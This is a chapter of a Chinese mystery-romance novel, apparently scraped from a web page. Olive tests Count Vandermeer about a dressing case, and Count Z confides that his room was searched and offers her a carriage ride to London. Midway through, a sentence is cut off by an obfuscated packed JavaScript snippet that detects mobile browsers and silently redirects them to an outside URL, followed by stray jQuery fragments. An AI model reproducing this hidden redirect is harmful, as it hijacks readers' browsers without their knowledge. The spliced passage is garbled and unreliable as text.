19. 同乘邀请
作品:《奥丽芙与伯爵大盗》 梳妆匣很快抱了来,范德梅尔打开它,打开隔层,取出装药膏的小盒子,又将隔层推回去。他将药膏递给伊迪丝:“涂一些吧,马上就会好。”
奥丽芙本还发愁不好自然地引出梳妆匣的话题,没想到东西已经搬到眼前了。可惜众人的眼睛全盯着那盒神秘药膏,没人留意匣子。于是,等伊迪丝涂好药,奥丽芙大惊小怪地嚷嚷起来:“咦,范德梅尔伯爵,你的这只梳妆匣,我也曾有一个一模一样的。我那只是某位伯爵夫人用过的,同时也是一件礼物,我特别珍爱它,可惜它被偷了。”
说话时,她特别注意着范德梅尔,也没忘了观察另几个人。大家都面带惊讶,目光在她和梳妆匣之间打转,不能说谁表现出了特别明显的异样,不过Z伯爵似乎是别有深意地看了她一眼,随即别开脑袋,闷着头想心事去了。
“你丢的是和这只一样吗,布莱克小姐,真巧啊。”小默顿盯着范德梅尔的梳妆匣,好像纳闷它有何特殊之处,会受如此多人的青睐。
范德梅尔对奥丽芙说:“丢了这么好看的一只梳妆匣,难怪你觉得难过。我这只也是一件礼物。”
他正坐在伊迪丝旁边,奥丽芙听见他对伊迪丝小声说:“是西尔维娅送给我的。”
然后,他半带得意地看看其他人,道:“对不起,本来可以让你们瞧瞧它——不过,梳妆匣原为家妹所有,我出门时,她让我带着它。”转眼间,他已经把药膏置回原位,匣子关好,交由女仆送回房间。
他妹妹叫Sylvia,正是S打头。看来他和妹妹感情挺好,他还跟伊迪丝讲过妹妹的事。
奥丽芙没有兄弟姐妹。她多么希望自己在世上不这么孤单,有一个能够完完全全信任的人,有一个能够一起回忆过去,能够互相关怀、互相鼓励的手足;当其中一人远行时,另一个也定会把自己心爱的物品交给对方带在身边。一瞬间,她几乎为错怪了范德梅尔伯爵而感到歉疚。
“现在你感觉伤处如何?库珀小姐。”小默顿关切地问伊迪丝。
“我感觉好多了。药膏很清凉。”
不仅如此,所有人都看到,她手上的红肿已消下去大半,药才涂上一分钟而已。
“你从哪儿搞到这样的灵丹妙药?”小默顿惊叹。
范德梅尔得意地说:“是我们家家传的药方,对蜜蜂,以及其它虫子叮咬有奇效。可惜,方子在一次意外中被毁了,我并不会配制,实际上,世界上再没有任何一个人可以配出来。那些是……听说是我祖母亲自监督,命人熬制的。药方在我们家已经传了几百年,如今虽然失传,但我依然庆幸,还有些药膏留了下来。”说着,他转向伊迪丝,“我保证只要涂一次就行,不然就把药盒给你了,虽然我也只剩了这么一点。”
不得不说,范德梅尔向姑娘献殷勤确实有一套,他对家族在围城战役中的丰功伟绩不放在心上,但是,微不足道一盒药膏,只因为恰好帮伊迪丝减轻了一点小伤痛,他便当成一种荣耀似的,喜气洋洋,满面放光。
伊迪丝也很领他的情,露出最甜美的笑容:“确实一点儿都不疼了,谢谢你的药。”
对范德梅尔来说,今天上午无疑是个胜利。其他三位男士则显得不大起劲,不过,作为主人,小默顿必须得说几句。
他向伊迪丝道歉,说:“幸亏有范德梅尔伯爵,不然,你来我家里才一天就受伤,我们太过意不去了。我早该想想办法,这里蜜蜂太多了。”
范德梅尔笑道:“别责怪蜜蜂,它们是可爱的小虫子。”
奥丽芙不知道是不是自己多心,范德梅尔说这话有点怪。不过又说不上到底哪儿怪:在得知父亲遇害现场丢下一只蜜蜂袖扣前,自己也认为,蜜蜂是挺可爱的小虫子。
“当然,当然,有花的地方,总是引来蜜蜂,现在是六月,许多花都开了。”小默顿转向伊迪丝、奥丽芙和凯里小姐,“我希望是这里的鲜花,而非蜜蜂,在三位小姐心上留下印象。”
像以往一样,小默顿用意或许是好的,但话由他嘴里说出来,总显得怪里怪气,令人尴尬。
三位小姐客客气气地回了几句。德·雷斯托平时就很少主动插话,今天则格外沉默。奇怪的是Z伯爵也一直没开口,他还是一副心事重重的模样。
用过简单的午膳,客人们准备返回伦敦。奥丽芙随身带的东西不多,很快就整理好了,仆人帮她把箱子提下楼,放在大厅。这时,伊迪丝还没下来,马车也还没套好,奥丽芙估摸至少还得再等二十分钟,便去花园转转。
花园已经被人占了,Z伯爵正在那儿,一转头,看见了她,大声喊:“布莱克小姐。”
他快步走过来,又用压低的声音说:“太好了,只有你一个人。”他脸上带着不胜烦脑的神色,“有件事,我想要请教你的意见。”
“什么事?”奥丽芙问。
“呃,”Z伯爵欲言又止,引着她往隐蔽的地方走了走,“你觉得这里,我是说整个威克菲尔德庄园,你觉得怎么样?”
奥丽芙不知Z伯爵什么意思,但甚为反感他神秘兮兮的语调,不怎么客气地回答:“我觉得挺好。怎么了?”
“是,挺好,主人很热情,也给我们提供了最大的方便和自由。可是——你收拾行李了吗,有没有清点你的物品?我发现,他们的仆人中,有个别手脚不干净。”Z伯爵一面说,一面紧张地盯着奥丽芙。
奥丽芙认为自己保持住了镇静,她用略显惊讶的眼神回视Z伯爵:“你丢了东西?”
“现在还不好说。你说你的梳妆匣被偷了,我以为你是暗示……”他解释道。
“我没有那方面的意思。”
“哦。但我的房间肯定被人翻过——我有几件衣裳,本来在床上放得整整齐齐,它们不在原来的位置了。”
奥丽芙脸一红,希望没有被Z伯爵发觉。她越发诧异地问:“你的衣裳被弄乱了?难道不是仆人收拾房间时不小心挪动的?”
“不是。我特意叮嘱了管家,我的房间我自己会整理,别让人进去。而且,不止是摊在外面的东西被动过。”
“你带了什么宝贝怕人发现?”奥丽芙嘲讽他。
“我带了一只手枪。对了,说不定小偷看见手枪怕了,没敢下手。也幸亏我没带多少东西——我一向喜欢轻装出行。唉,真不好说,我的金币倒没点过数……”Z伯爵摇着头,唉声叹气,又劝奥丽芙,“布莱克小姐,你最好点点你的行李。”
“不,我确定没有少了东西。”奥丽芙坚定地说。
Z伯爵皱着眉:“那大概是哪个男仆,不方便去女士的房间。女仆进男士的屋子倒是便宜!——我是不是该先问问子爵和范德梅尔伯爵?”
奥丽芙假装思考了一会儿:“我认为最好不要制造恐慌。若他们丢了东西,自己会说出来的,若没有,只有你大惊小怪,岂不是惹人嘲笑,而且伤了公爵一家的面子?如果你怀疑,最好直接报告给主人,请他们私下查明,我想小默顿不会见怪,而且能够妥当处理。”
Z伯爵一脸服气,钦佩地说:“谢谢,幸亏我先问了你。我确实缺少经验,要在别的国家,失窃的人会立即嚷嚷起来,我忘了英国人总是先考虑他人的感受。差点儿自作主张,那就太失礼了。”
他好像
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962344|192595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怕奥丽芙以为他真的遇事大惊小怪,又赶快补充:“我要为自己辩解一下:别的东西还罢了,但那把手枪绝对被人拿过——对手枪这玩意必须特别小心,我每次把它放下时都检查好几遍。那仆人胆子还真大,居然没有在自己身上打出一个洞来。”
说着,Z伯爵忽然显出恍然的表情,“该不会是大盗?我们把那个大盗吸引来了!在我那儿,他没发现有值得一偷的东西。如果这样,应该提醒库珀小姐,她带着她那颗栗子大的钻石了吗?”Z伯爵用手比出了一个鸡蛋大小。
“我认为根本不可能是珠宝大盗,库珀小姐也没带钻石。”奥丽芙冷冷地、略不耐烦地回答。
Z伯爵尴尬地笑笑:“我恐怕又犯了大惊小怪的毛病。算了,既然说不出哪样东西丢失,我干脆还是别对小默顿说了,免得他较真,要给我压压惊,或者补偿我的损失什么的。”
“你是不是准备要回家了?”Z伯爵忽地语调一转,恢复了平日里愉快的口吻,询问奥丽芙。
“我去看看马车准备好没有。”她向外走。
“不用急。”Z伯爵拦住她,“我的车还没套好呢。来坐下歇会儿吧。”
他请奥丽芙在长椅坐下,感慨说:“在伦敦,整日忙忙碌碌,到头来,却好像没办成一件事,一天一天一下子就过去了。而在这儿,不过短短一日,却好像发生了许多事情似的。有点累,但十分充实,是不是?我发现,驾车是一种很好的放松,趁驾车回家的工夫,我要好好回味这美好的一天。”
“你自己驾车来的?”奥丽芙有点惊讶。
“可不是嘛,不然我带枪干吗——一个人出门在外,身上装着钱,怎么小心都不过分,对吧?我忘了还有窃贼,小偷实在防不胜防。啊,不说这个了。
“我不让车夫送我,是怕万一找不到一辆往城里运货的骡车让他搭回去,他就不得不留在这儿。”
“留在这儿怎么了?”
“小姐,敏锐如你,一定注意到了,威克菲尔德的人手挺紧张,这么大的宅子,男女用人才不到十五个。——我一个单身汉,岂不是更用不着铺那么大排场?我的车夫兼任园丁,必要的时候还能充半个厨师。家里有不少事要做,没必要让他呆在这儿,嘴里叼着草叶,一整天无所事事。”
奥丽芙心道:你要是少买几件衬衫,就不必把佣人使唤得这么狠了。
Z伯爵说:“你们几个人坐一辆马车,再加上行李,未免有点挤。不如我带你回伦敦。我那是辆轻马车,坐着很舒服,正好一面观赏郊外美景,一面享受午后的阳光和清新空气。愿意坐在我旁边或者后面都随你。我驾车的本事很不赖,又快又稳,从我早晨起床的时间和我昨天到达的时间,你大概看得出。怎么样,小姐?”
他的口气和神情仿佛他驾驶的是太阳车一般。
不过,听了他的话,奥丽芙确实瞬间在眼前绘出一副英格兰绿油油的乡村画卷:茂密的树木,绵延的树篱,远处是一群可爱的村舍,墙边爬着葡萄藤。
她有点动心了,但立即想起早上散步时提前返回,决定把自己对阳光的不喜欢贯彻到底:“不了,我根本不想晒太阳,我已经够黑了。”
Z伯爵很吃惊:“你的肤色非常美,一定有很多画家提出过要为你画像,你不否认吧?你说这话,要么是太谦虚,要么是为拒绝我找的借口。”
奥丽芙的心不轻不重跳了一下,刚才关于小偷的话就已经使她警觉了,他似乎又在暗示她早上的行为是有意的。
奥丽芙不作声地打量Z伯爵。她不能不怀疑:Z伯爵已经知道她去过他的房间,故意拿话试探。

